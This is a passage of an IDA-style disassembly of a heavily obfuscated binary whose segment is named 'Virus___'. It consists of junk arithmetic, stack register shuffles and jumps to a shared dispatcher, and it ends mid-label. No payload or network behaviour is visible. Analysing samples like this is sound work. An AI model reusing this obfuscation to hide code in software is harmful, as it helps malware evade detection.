loc_55F3D1:				; CODE XREF: Virus___:005573CAj
		sub	ebp, 4BAE0955h
		pop	edx
		push	ebp
		jmp	loc_5534E0
; ---------------------------------------------------------------------------


loc_55F3DE:				; CODE XREF: Virus___:00557ADAj
		mov	edx, 4
		jmp	loc_56044F
; ---------------------------------------------------------------------------


loc_55F3E8:				; CODE XREF: Virus___:00557D1Aj
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_554EC4
; ---------------------------------------------------------------------------


loc_55F3F6:				; CODE XREF: Virus___:00557AFFj
		not	ch
		add	ch, 5Dh
		jmp	loc_556CE5
; ---------------------------------------------------------------------------


loc_55F400:				; CODE XREF: Virus___:00561CE1j
		pop	edx
		jmp	loc_55291A
; ---------------------------------------------------------------------------


loc_55F406:				; CODE XREF: Virus___:00559CF2j
		sub	edx, ebp
		pop	ebp
		push	0
		sub	[esp], edx
		jmp	loc_55771D
; ---------------------------------------------------------------------------


loc_55F416:				; CODE XREF: Virus___:0055DFE9j
		push	esi
		mov	esi, 187E7CCCh
		not	esi
		dec	esi
		sub	esi, 4F665FECh
		push	eax
		mov	eax, 0BB29C6BAh
		jmp	loc_559979
; ---------------------------------------------------------------------------


loc_55F430:				; CODE XREF: Virus___:0055A7DCj
		mov	edi, esp
		add	edi, 4
		jmp	loc_55608C
; ---------------------------------------------------------------------------


loc_55F43D:				; CODE XREF: Virus___:005609A2j
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_551534
; ---------------------------------------------------------------------------


loc_55F448:				; CODE XREF: Virus___:00555EB2j
		push	esp
		pop	ecx
		push	ebp
		mov	ebp, 4FE56314h
		sub	ebp, 10ED3B78h
		shr	ebp, 3
		jmp	loc_551096
; ---------------------------------------------------------------------------


loc_55F45E:				; CODE XREF: Virus___:005636A0j
		pop	ebx
		jmp	loc_563EA3
; ---------------------------------------------------------------------------


loc_55F464:				; CODE XREF: Virus___:00551F9Ej
		mov	edx, 34F23289h
		jmp	loc_5541D9
; ---------------------------------------------------------------------------


loc_55F46E:				; CODE XREF: Virus___:00561368j
		mov	ebp, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		push	edx
		mov	edx, esp
		push	ebp
		mov	ebp, 66F75066h
		and	ebp, 770F32ADh
		jmp	loc_563321
; ---------------------------------------------------------------------------


loc_55F48F:				; CODE XREF: Virus___:0055389Fj
		pop	ebx
		or	cl, 37h
		push	4514h
		mov	[esp], ebx
		push	ecx
		jmp	loc_551BDB
; ---------------------------------------------------------------------------


loc_55F4A1:				; CODE XREF: Virus___:00556456j
		xor	edx, eax
		jmp	loc_552FC3
; ---------------------------------------------------------------------------


loc_55F4A8:				; CODE XREF: Virus___:00563ABDj
		push	ecx
		mov	ecx, 4
		sub	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	37E01E86h
		pop	esi
		jmp	loc_55317F
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr [edx]
		push	small 2E88h
		mov	[esp], ax
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55F4D4:				; CODE XREF: Virus___:0055EC91j
		mov	ebp, 77FD2A90h
		sub	ecx, ebp
		pop	ebp
		sub	ecx, eax
		push	ebp
		push	7677045h
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		jmp	loc_563235
; ---------------------------------------------------------------------------


loc_55F4F3:				; CODE XREF: Virus___:00551F25j
		push	ecx
		jmp	loc_564A9C
; ---------------------------------------------------------------------------


loc_55F4F9:				; CODE XREF: Virus___:00555257j
		pop	esp
		jmp	loc_558B79
; ---------------------------------------------------------------------------


loc_55F4FF:				; CODE XREF: Virus___:005505AAj
		mov	edx, 21DB49CCh
		xor	edx, 477B0364h
		push	edx
		pop	ecx
		pop	edx
		jmp	loc_5530D9
; ---------------------------------------------------------------------------


loc_55F512:				; CODE XREF: Virus___:0055A31Ej
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	eax, [esp]
		push	46B6h
		mov	[esp], esi
		push	15F8h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_564C76
; ---------------------------------------------------------------------------


loc_55F537:				; CODE XREF: Virus___:005602ACj
		add	ecx, ebx
		pop	ebx
		add	ecx, eax
		push	edi
		mov	edi, 47895E3Fh
		sub	ecx, 7FA2CBAh
		add	ecx, 4DAA2098h
		sub	ecx, edi
		sub	ecx, 4DAA2098h
		add	ecx, 7FA2CBAh
		pop	edi
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5534B3
; ---------------------------------------------------------------------------


loc_55F56B:				; CODE XREF: Virus___:005544DBj
		pop	ecx
		sub	esi, 0FFFFFFFFh
		xor	esi, 79C54E2Bh
		push	edx
		mov	edx, 5FDE10BEh
		not	edx
		sub	edx, 8E2FE172h
		xor	esi, edx
		jmp	loc_563BB3
; ---------------------------------------------------------------------------


loc_55F58A:				; CODE XREF: Virus___:0055C5CBj
		shl	edx, 8
		xor	edx, 6868512Fh
		jmp	loc_561D29
; ---------------------------------------------------------------------------


loc_55F598:				; CODE XREF: Virus___:00564071j
		sub	bl, 0CDh
		jmp	loc_560D53
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55F5A7:				; CODE XREF: Virus___:005517A9j
		pop	eax
		pop	dword ptr [esp]
		push	4189h
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_564491
; ---------------------------------------------------------------------------


loc_55F5BD:				; CODE XREF: Virus___:0055DB98j
		neg	ebp
		add	ebp, 25C0713h
		xor	eax, ebp
		pop	ebp
		sub	esp, 4
		jmp	loc_5501D6
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		jmp	loc_561E0F
; ---------------------------------------------------------------------------


loc_55F5DF:				; CODE XREF: Virus___:00563FA1j
		xor	esi, 71604841h
		dec	esi
		or	esi, 7A77488Ch
		add	esi, 1
		add	esi, 8488A134h
		add	ecx, esi
		pop	esi
		push	edi
		push	esi
		jmp	loc_55571C
; ---------------------------------------------------------------------------


loc_55F602:				; CODE XREF: Virus___:00558D2Bj
		add	ebp, 25890796h
		sub	ebp, 0FED75011h
		add	eax, 7391302Eh
		add	eax, ebp
		sub	eax, 7391302Eh
		pop	ebp
		jmp	loc_5595A7
; ---------------------------------------------------------------------------


loc_55F620:				; CODE XREF: Virus___:00556F2Fj
		mov	ecx, 5ED72D71h
		sub	edi, 2808281Eh
		add	edi, 78010B1Ah
		add	edi, ecx
		jmp	loc_560FBF
; ---------------------------------------------------------------------------


loc_55F638:				; CODE XREF: Virus___:00563205j
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edi
		mov	edi, 4
		jmp	loc_55AF0D
; ---------------------------------------------------------------------------


loc_55F64B:				; CODE XREF: Virus___:005627DDj
		push	edi
		mov	edi, 3003A95h
		mov	ebp, 6D5E797Ch
		sub	ebp, edi
		jmp	loc_5543F5
; ---------------------------------------------------------------------------


loc_55F65D:				; CODE XREF: Virus___:00552D80j
		pop	ecx
		mov	cl, 36h
		jmp	loc_556BC8
; ---------------------------------------------------------------------------


loc_55F665:				; CODE XREF: Virus___:0054FEB1j
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_55ADAD
; ---------------------------------------------------------------------------


loc_55F673:				; CODE XREF: Virus___:0054FEC5j
		pop	edx
		add	ebx, ecx
		pop	ecx
		jmp	loc_554309
; ---------------------------------------------------------------------------


loc_55F67C:				; CODE XREF: Virus___:00560F83j
		add	esi, 90E2455h
		sub	esi, 16A501DEh
		add	esi, eax
		add	esi, 16A501DEh
		push	eax
		mov	eax, 90E2455h
		sub	esi, 4A62ED8h
		sub	esi, eax
		push	ebx
		mov	ebx, 237E3F08h
		shr	ebx, 5
		push	edx
		push	ecx
		mov	ecx, 57471BCFh
		mov	edx, ecx
		jmp	loc_559D5E
; ---------------------------------------------------------------------------


loc_55F6B5:				; CODE XREF: Virus___:0056374Dj
		add	esp, 4
		push	esi
		push	esp
		pop	esi
		jmp	loc_563C6F
; ---------------------------------------------------------------------------


loc_55F6C3:				; CODE XREF: Virus___:0055D7F5j
		mov	ecx, 8EA3267h
		jmp	loc_5565E3
; ---------------------------------------------------------------------------


loc_55F6CD:				; CODE XREF: Virus___:00558520j
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_55058B
; ---------------------------------------------------------------------------


loc_55F6F2:				; CODE XREF: Virus___:0056167Ej
		mov	eax, 666416CBh
		sub	eax, 0F177B6E1h
		mov	ebx, eax
		jmp	loc_55B3D2
; ---------------------------------------------------------------------------


loc_55F703:				; CODE XREF: Virus___:005594A1j
		add	ebx, eax
		push	ecx
		jmp	loc_55A419
; ---------------------------------------------------------------------------


loc_55F70B:				; CODE XREF: Virus___:00556A3Dj
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	481Ch
		mov	[esp], edx
		push	ecx
		mov	ecx, 0C9D3FD0h
		mov	edx, ecx
		pop	ecx
		push	242Ah
		mov	[esp], edx
		jmp	loc_56182E
; ---------------------------------------------------------------------------


loc_55F730:				; CODE XREF: Virus___:0055DCA6j
		mov	[esp], eax
		push	edx
		mov	edx, esp
		add	edx, 4
		push	esi
		mov	esi, 4
		jmp	loc_55D232
; ---------------------------------------------------------------------------


loc_55F747:				; CODE XREF: Virus___:0055A70Dj
		push	edi
		mov	edi, 6A09352Fh
		sub	eax, edi
		mov	edi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	3566h
		mov	[esp], edx
		push	ebx
		jmp	loc_563581
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_562928
; ---------------------------------------------------------------------------


loc_55F773:				; CODE XREF: Virus___:0055CB79j
		or	esi, 4D65725Eh
		push	ebp
		mov	ebp, 0DBE1977Ch
		add	esi, ebp
		pop	ebp
		jmp	loc_55CB8F
; ---------------------------------------------------------------------------


loc_55F787:				; CODE XREF: Virus___:0055A7C2j
		push	ebp
		mov	ebp, 671115DAh
		neg	ebp
		or	ebp, 1B3302C2h
		jmp	loc_564856
; ---------------------------------------------------------------------------


loc_55F79A:				; CODE XREF: Virus___:005637EFj
		push	4DE8h
		mov	[esp], esi
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_5541C5
; ---------------------------------------------------------------------------


loc_55F7AD:				; CODE XREF: Virus___:00564B10j
		pop	ebx
		add	bl, dl
		mov	dx, [esp]
		add	esp, 2
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	16A9h
		mov	[esp], edx
		mov	edx, 5D9B35FCh
		push	ebx
		jmp	loc_557CA2
; ---------------------------------------------------------------------------


loc_55F7D0:				; CODE XREF: Virus___:0055737Bj
		mov	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	edi, 3748669Fh
		add	edi, 0F0E7A815h
		sub	eax, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		push	esi
		mov	esi, 77216EF9h
		add	esi, 86E5ADBh
		push	eax
		mov	eax, 7A356B38h
		sub	esi, eax
		pop	eax
		jmp	loc_560312
; ---------------------------------------------------------------------------


loc_55F810:				; CODE XREF: Virus___:005520ADj
		xor	ebp, edi
		pop	edi
		jmp	loc_563B11
; ---------------------------------------------------------------------------


loc_55F818:				; CODE XREF: Virus___:0055E920j
		shr	edx, 7
		shl	edx, 2
		add	edx, 7B73DC1h
		sub	edx, 7B733FECh
		sub	edx, ecx
		add	edx, 7B733FECh
		mov	ecx, [esp]
		jmp	loc_560CB3
; ---------------------------------------------------------------------------


loc_55F83A:				; CODE XREF: Virus___:0055EF5Aj
		push	ebp
		mov	ebp, 79162A68h
		jmp	loc_5529B0
; ---------------------------------------------------------------------------


loc_55F845:				; CODE XREF: Virus___:00561B9Fj
		mov	esi, 48D70CC2h
		sub	esi, 48D70CA2h
		mov	ebx, esi
		pop	esi
		jmp	loc_5632CE
; ---------------------------------------------------------------------------


loc_55F858:				; CODE XREF: Virus___:0056248Aj
		push	6BFDh
		mov	[esp], edi
		mov	edi, 2A7C3CD8h
		add	eax, 74A8138Fh
		add	eax, edi
		sub	eax, 74A8138Fh
		pop	edi
		push	60A1h
		mov	[esp], edx
		push	ebp
		push	ecx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_551AF7
; ---------------------------------------------------------------------------


loc_55F887:				; CODE XREF: Virus___:0055F289j
		pop	eax
		add	eax, edx
		pop	edx
		jmp	loc_558A01
; ---------------------------------------------------------------------------


loc_55F890:				; CODE XREF: Virus___:00551A12j
		mov	dl, 0EFh
		add	ah, dl
		pop	dx
		sub	cl, ah
		jmp	loc_55B12D
; ---------------------------------------------------------------------------


loc_55F89D:				; CODE XREF: Virus___:00564539j
		dec	edx
		jmp	loc_555C6A
; ---------------------------------------------------------------------------


loc_55F8A3:				; CODE XREF: Virus___:00562BF2j
		pop	esp
		push	dword ptr [eax]
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55F8AB:				; CODE XREF: Virus___:0055EA46j
		mov	[esp], eax
		mov	eax, 36640469h
		mov	ebx, eax
		pop	eax
		mov	eax, 3664046Dh
		sub	eax, ebx
		pop	ebx
		add	ecx, eax
		jmp	loc_55870A
; ---------------------------------------------------------------------------


loc_55F8C5:				; CODE XREF: Virus___:00551447j
		sub	dword ptr [esp], 20F113D2h
		pop	ebp
		jmp	loc_557CFB
; ---------------------------------------------------------------------------


loc_55F8D2:				; CODE XREF: Virus___:0055DC67j
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_561D6E
; ---------------------------------------------------------------------------


loc_55F8E3:				; CODE XREF: Virus___:005552EBj
		add	edx, 4
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5573E6
; ---------------------------------------------------------------------------


loc_55F905:				; CODE XREF: Virus___:005565D3j
		add	ebp, 697AC22Fh
		push	ebp
		mov	edi, [esp]
		jmp	loc_562105
; ---------------------------------------------------------------------------


loc_55F914:				; CODE XREF: Virus___:0055AB83j
		pop	eax
		add	esi, 0BAD269F8h
		mov	eax, 1BBD45A4h
		add	eax, 21C870C1h
		sub	eax, esi
		sub	eax, 21C870C1h
		mov	esi, [esp]
		add	esp, 4
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_563CD7
; ---------------------------------------------------------------------------


loc_55F942:				; CODE XREF: Virus___:00558595j
		push	ebp
		push	2F6B7D6Ah
		mov	ebp, [esp]
		add	esp, 4
		xchg	ecx, ebp
		not	ecx
		xchg	ecx, ebp
		push	edi
		jmp	loc_559C75
; ---------------------------------------------------------------------------


loc_55F95D:				; CODE XREF: Virus___:00563981j
		mov	[esp], ebx
		push	edx
		push	53B76B0h
		pop	edx
		sub	edx, 0FFFFFFFFh
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_556477
; ---------------------------------------------------------------------------


loc_55F982:				; CODE XREF: Virus___:0055E3CEj
		mov	ebp, 61C13675h
		mov	edi, 0DD787B3Dh
		push	ebx
		jmp	loc_5564C0
; ---------------------------------------------------------------------------


loc_55F992:				; CODE XREF: Virus___:00552697j
		mov	edx, [esp]
		push	4827h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	ebp
		mov	ebp, 7B081695h
		xor	ebp, 37BB76C0h
		xor	edi, ebp
		pop	ebp
		push	4F50h
		mov	[esp], edi
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		jmp	loc_55702A
; ---------------------------------------------------------------------------


loc_55F9F0:				; CODE XREF: Virus___:0055AEA9j
		pop	edi
		xchg	edx, [esp]
		jmp	loc_55E02C
; ---------------------------------------------------------------------------


loc_55F9F9:				; CODE XREF: Virus___:00551208j
		shl	ecx, 7
		push	ebp
		jmp	loc_55F01F
; ---------------------------------------------------------------------------


loc_55FA02:				; CODE XREF: Virus___:0055FFDDj
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5649EA
; ---------------------------------------------------------------------------


loc_55FA1D:				; CODE XREF: Virus___:005628E2j
		mov	ebp, esp
		jmp	loc_55099B
; ---------------------------------------------------------------------------


loc_55FA24:				; CODE XREF: Virus___:00551CA6j
		bt	[esp], ax
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55FA2F:				; CODE XREF: Virus___:0055C736j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		and	[esp], ax
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55FA44:				; CODE XREF: Virus___:00555269j
		add	edx, 11A6D741h
		jmp	loc_55C75F
; ---------------------------------------------------------------------------


loc_55FA4F:				; CODE XREF: Virus___:0055ED1Aj
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_55672B
; ---------------------------------------------------------------------------


loc_55FA60:				; CODE XREF: Virus___:005618F3j
		mov	[esp], ebp
		mov	ebp, 7D694E07h
		or	ebp, 441C7EA0h
		jmp	loc_55D1BB
; ---------------------------------------------------------------------------


loc_55FA73:				; CODE XREF: Virus___:0055D911j
		mov	cl, 0F5h
		neg	cl
		sub	cl, 6Ah
		sub	al, cl
		pop	ecx
		sub	al, 0F9h
		push	small 48DEh
		jmp	loc_55DE62
; ---------------------------------------------------------------------------


loc_55FA88:				; CODE XREF: Virus___:005631B4j
		mov	[esp], ebx
		jmp	loc_55AA51
; ---------------------------------------------------------------------------


loc_55FA90:				; CODE XREF: Virus___:0055B542j
		add	ebp, 4
		jmp	loc_55BDF4
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	ebx
		mov	bl, 3Ah
		push	eax
		mov	ah, 1
		sub	ah, 29h
		jmp	loc_5636A5
; ---------------------------------------------------------------------------


loc_55FAA9:				; CODE XREF: Virus___:0056098Aj
		sub	ecx, 2FAD7003h
		mov	edx, ecx
		pop	ecx
		add	ecx, edx
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_54F99B
; ---------------------------------------------------------------------------


loc_55FABF:				; CODE XREF: Virus___:005630C9j
		pop	edx
		jmp	loc_563684
; ---------------------------------------------------------------------------


loc_55FAC5:				; CODE XREF: Virus___:0055D6FBj
		add	ecx, 0FFFFFFFFh
		inc	ecx
		add	ecx, 12206BFBh
		sub	esi, 431744D5h
		add	esi, 7A207DD8h
		add	esi, ecx
		sub	esi, 7A207DD8h
		add	esi, 431744D5h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_54FAA8
; ---------------------------------------------------------------------------


loc_55FAF7:				; CODE XREF: Virus___:00561FEEj
		mov	ecx, [esp]
		jmp	loc_56487B
; ---------------------------------------------------------------------------


loc_55FAFF:				; CODE XREF: Virus___:0055C4EDj
		mov	cx, [esp]
		push	eax
		jmp	loc_556104
; ---------------------------------------------------------------------------


loc_55FB09:				; CODE XREF: Virus___:0055AA74j
		mov	[esp], esi
		push	ebp
		mov	ebp, 60BE377Ah
		jmp	loc_563946
; ---------------------------------------------------------------------------
		push	dword ptr fs:[edx]
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55FB1F:				; CODE XREF: Virus___:0055DA95j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_563D2C
; ---------------------------------------------------------------------------


loc_55FB2F:				; CODE XREF: Virus___:00556DCBj
		pop	dword ptr [esp]
		jmp	loc_55AC48
; ---------------------------------------------------------------------------


loc_55FB37:				; CODE XREF: Virus___:00552763j
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55FB3C:				; CODE XREF: Virus___:0054F854j
		mov	[esp], ebp
		push	esp
		pop	ebp
		jmp	loc_55DDB3
; ---------------------------------------------------------------------------


loc_55FB46:				; CODE XREF: Virus___:005571BEj
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_55EDD9
; ---------------------------------------------------------------------------


loc_55FB66:				; CODE XREF: Virus___:00560292j
		add	esi, 3602243Eh
		add	esi, ebp
		push	ebp
		jmp	loc_55AE0B
; ---------------------------------------------------------------------------


loc_55FB74:				; CODE XREF: Virus___:00562275j
		sub	ebp, esi
		mov	esi, [esp]
		jmp	loc_56052D
; ---------------------------------------------------------------------------


loc_55FB7E:				; CODE XREF: Virus___:0055BA11j
		or	dl, 6
		and	dl, 3Ch
		sub	dl, 0A2h
		add	ah, 24h
		sub	ah, dl
		sub	ah, 24h
		mov	edx, [esp]
		push	ebx
		jmp	loc_55C818
; ---------------------------------------------------------------------------


loc_55FB98:				; CODE XREF: Virus___:00553D6Dj
		mov	ecx, [esp]
		add	esp, 4
		pop	ebx
		push	ebx
		mov	bh, 2Dh
		sub	esp, 2
		mov	[esp], cx
		mov	ch, 11h
		sub	bh, ch
		pop	cx
		add	bh, 88h
		jmp	loc_55BE0C
; ---------------------------------------------------------------------------


loc_55FBB7:				; CODE XREF: Virus___:0055A649j
		shl	ebx, 2
		shr	ebx, 4
		xchg	ebp, ebx
		push	ebp
		not	dword ptr [esp]
		jmp	loc_55FDC4
; ---------------------------------------------------------------------------


loc_55FBC8:				; CODE XREF: Virus___:00556BF0j
		pop	eax
		add	esp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5630D7
; ---------------------------------------------------------------------------


loc_55FBDD:				; CODE XREF: Virus___:005530DFj
		add	ecx, 278050CEh
		sub	ecx, 24022611h
		shr	ecx, 1
		add	ecx, 0FC98D7FCh
		add	edi, ecx
		pop	ecx
		jmp	loc_55652F
; ---------------------------------------------------------------------------


loc_55FBF9:				; CODE XREF: Virus___:0055D660j
		sub	ebp, 4BD40264h
		and	ebp, 24B11689h
		xor	ebp, 24DF7F15h
		add	eax, ebp
		pop	ebp
		add	eax, ecx
		sub	eax, 0FF6F9Dh
		sub	esp, 4
		jmp	loc_557185
; ---------------------------------------------------------------------------


loc_55FC1D:				; CODE XREF: Virus___:00553098j
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55FC22:				; CODE XREF: Virus___:00557982j
		pop	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_55EAD3
; ---------------------------------------------------------------------------


loc_55FC38:				; CODE XREF: Virus___:00558432j
		xor	ecx, [esp]
		jmp	loc_5621F7
; ---------------------------------------------------------------------------


loc_55FC40:				; CODE XREF: Virus___:0055895Ej
		add	esi, 2A957C4Dh
		pop	edx
		sub	esi, 2
		push	esi
		jmp	loc_55D2DA
; ---------------------------------------------------------------------------


loc_55FC53:				; CODE XREF: Virus___:00555F16j
		pop	edx
		push	eax
		mov	eax, 4C2A5A59h
		add	edi, 17045E9h
		jmp	loc_55E4E8
; ---------------------------------------------------------------------------


loc_55FC65:				; CODE XREF: Virus___:00550AD2j
		add	eax, 3C0A658Eh
		sub	edi, eax
		pop	eax
		or	ebx, edi
		pop	edi
		sub	ebx, 4D677BE4h
		push	2615h
		mov	[esp], ebx
		push	ecx
		mov	ecx, 51D50EBEh
		xor	[esp+4], ecx
		mov	ecx, [esp]
		jmp	loc_559B69
; ---------------------------------------------------------------------------


loc_55FC90:				; CODE XREF: Virus___:005555E3j
		mov	al, 0B2h
		xor	al, 0F2h
		jmp	loc_56445D
; ---------------------------------------------------------------------------


loc_55FC99:				; CODE XREF: Virus___:00550141j
		pop	edi
		add	esi, 708D4A3Bh
		sub	esi, ecx
		push	ebx
		mov	ebx, 6EFA2263h
		and	ebx, 124B63B8h
		inc	ebx
		sub	ebx, 28FE2577h
		neg	ebx
		shl	ebx, 6
		sub	ebx, 3C738B45h
		sub	esi, ebx
		pop	ebx
		pop	ecx
		jmp	loc_552C5D
; ---------------------------------------------------------------------------


loc_55FCC9:				; CODE XREF: Virus___:00553108j
		add	ebx, 1
		xor	ebx, 8B728FD2h
		jmp	loc_55DC58
; ---------------------------------------------------------------------------


loc_55FCDA:				; CODE XREF: Virus___:0055C54Bj
		pop	eax
		jmp	loc_55DFC8
; ---------------------------------------------------------------------------


loc_55FCE0:				; CODE XREF: Virus___:005510E2j
		mov	[esp], eax
		push	ecx
		mov	cl, 5Ah
		jmp	loc_551A0B
; ---------------------------------------------------------------------------


loc_55FCEB:				; CODE XREF: Virus___:0055CA6Dj
		pop	ebx
		add	esp, 4
		push	dx
		mov	dh, 0CEh
		and	ch, dh
		pop	dx
		jmp	loc_55D0AF
; ---------------------------------------------------------------------------


loc_55FCFC:				; CODE XREF: Virus___:005500DFj
		pop	esp
		mov	[esp], eax
		jmp	loc_550B57
; ---------------------------------------------------------------------------


loc_55FD05:				; CODE XREF: Virus___:00552603j
		mov	[esp], esi
		push	0D21h
		mov	[esp], ecx
		mov	ecx, 7F760BD8h
		mov	esi, ecx
		pop	ecx
		jmp	loc_556420
; ---------------------------------------------------------------------------


loc_55FD1D:				; CODE XREF: Virus___:00551852j
		pop	ecx
		jmp	loc_553269
; ---------------------------------------------------------------------------


loc_55FD23:				; CODE XREF: Virus___:0055C57Dj
		pop	ecx
		add	esp, 4
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55FD2F:				; CODE XREF: Virus___:00561AB3j
		push	eax
		sub	dword ptr [esp], 19AB05A4h
		pop	edx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 19AB05A4h
		jmp	loc_550A87
; ---------------------------------------------------------------------------


loc_55FD48:				; CODE XREF: Virus___:00555F6Fj
		push	ecx
		mov	ecx, 28BE3EB2h
		sub	esi, 53382D15h
		jmp	loc_559E64
; ---------------------------------------------------------------------------


loc_55FD59:				; CODE XREF: Virus___:005571FAj
		sub	bl, 6Fh
		jmp	loc_55362B
; ---------------------------------------------------------------------------


loc_55FD61:				; CODE XREF: Virus___:005623CDj
		shr	edi, 1
		add	edi, 74A264CAh
		sub	edi, 91046DCAh
		jmp	loc_556B66
; ---------------------------------------------------------------------------


loc_55FD74:				; CODE XREF: Virus___:0055D392j
		add	ecx, 30524202h
		pop	ebx
		add	ecx, 4
		jmp	loc_55AD01
; ---------------------------------------------------------------------------


loc_55FD86:				; CODE XREF: Virus___:0055E8CCj
		dec	ecx
		sub	ecx, 662D3E6Ah
		sub	ecx, 764606F1h
		sub	esi, ecx
		pop	ecx
		dec	esi
		shr	esi, 1
		sub	esi, 7E4B6A4h
		add	ecx, esi
		pop	esi
		add	ecx, edx
		sub	ecx, 63E87D08h
		mov	edx, [esp]
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_559F10
; ---------------------------------------------------------------------------


loc_55FDC4:				; CODE XREF: Virus___:0055FBC3j
		pop	ebp
		xchg	ebp, ebx
		sub	ebx, 0A60B324Ch
		and	[edi+20h], ebx
		pop	ebx
		push	58Eh
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_55E908
; ---------------------------------------------------------------------------


loc_55FDEF:				; CODE XREF: Virus___:0055C356j
		push	edx
		jmp	loc_55BFE5
; ---------------------------------------------------------------------------


loc_55FDF5:				; CODE XREF: Virus___:00551185j
		add	esp, 4
		jmp	loc_556F02
; ---------------------------------------------------------------------------


loc_55FE00:				; CODE XREF: Virus___:005515D5j
		mov	ecx, 51F477B4h
		sub	ecx, 7D983025h
		xor	ecx, 784306D2h
		or	ecx, 116A085Eh
		push	62F7h
		mov	[esp], ebx
		jmp	loc_55147C
; ---------------------------------------------------------------------------


loc_55FE24:				; CODE XREF: Virus___:005527F7j
		add	edx, esi
		pop	esi
		push	esi
		push	2
		pop	esi
		add	edx, esi
		mov	esi, [esp]
		jmp	loc_561723
; ---------------------------------------------------------------------------


loc_55FE38:				; CODE XREF: Virus___:0055BBDFj
		push	esi
		mov	esi, 68BF6CE4h
		mov	ebp, 201B0793h
		xor	ebp, esi
		pop	esi
		push	ebx
		mov	ebx, 0A2EBFB9h
		xor	ebp, ebx
		pop	ebx
		sub	edi, ebp
		pop	ebp
		add	ebp, 180B6897h
		add	ebp, edi
		sub	ebp, 180B6897h
		jmp	loc_550949
; ---------------------------------------------------------------------------


loc_55FE65:				; CODE XREF: Virus___:0055C863j
		sub	eax, 0F7D61C0h
		sub	eax, 13854A6Eh
		add	eax, ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 13854A6Eh
		jmp	loc_552671
; ---------------------------------------------------------------------------


loc_55FE81:				; CODE XREF: Virus___:0055EE9Bj
		pop	esp
		jmp	loc_55F037
; ---------------------------------------------------------------------------


loc_55FE87:				; CODE XREF: Virus___:00551FA4j
		mov	bh, dl
		mov	ch, bh
		pop	ebx
		pop	edx
		or	ch, 0Eh
		push	bx
		mov	bl, 0ACh
		sub	ch, 0Ah
		jmp	loc_559AC4
; ---------------------------------------------------------------------------


loc_55FE9C:				; CODE XREF: Virus___:0055997Cj
		sub	ebp, esi
		jmp	loc_557413
; ---------------------------------------------------------------------------


loc_55FEA3:				; CODE XREF: Virus___:00551E39j
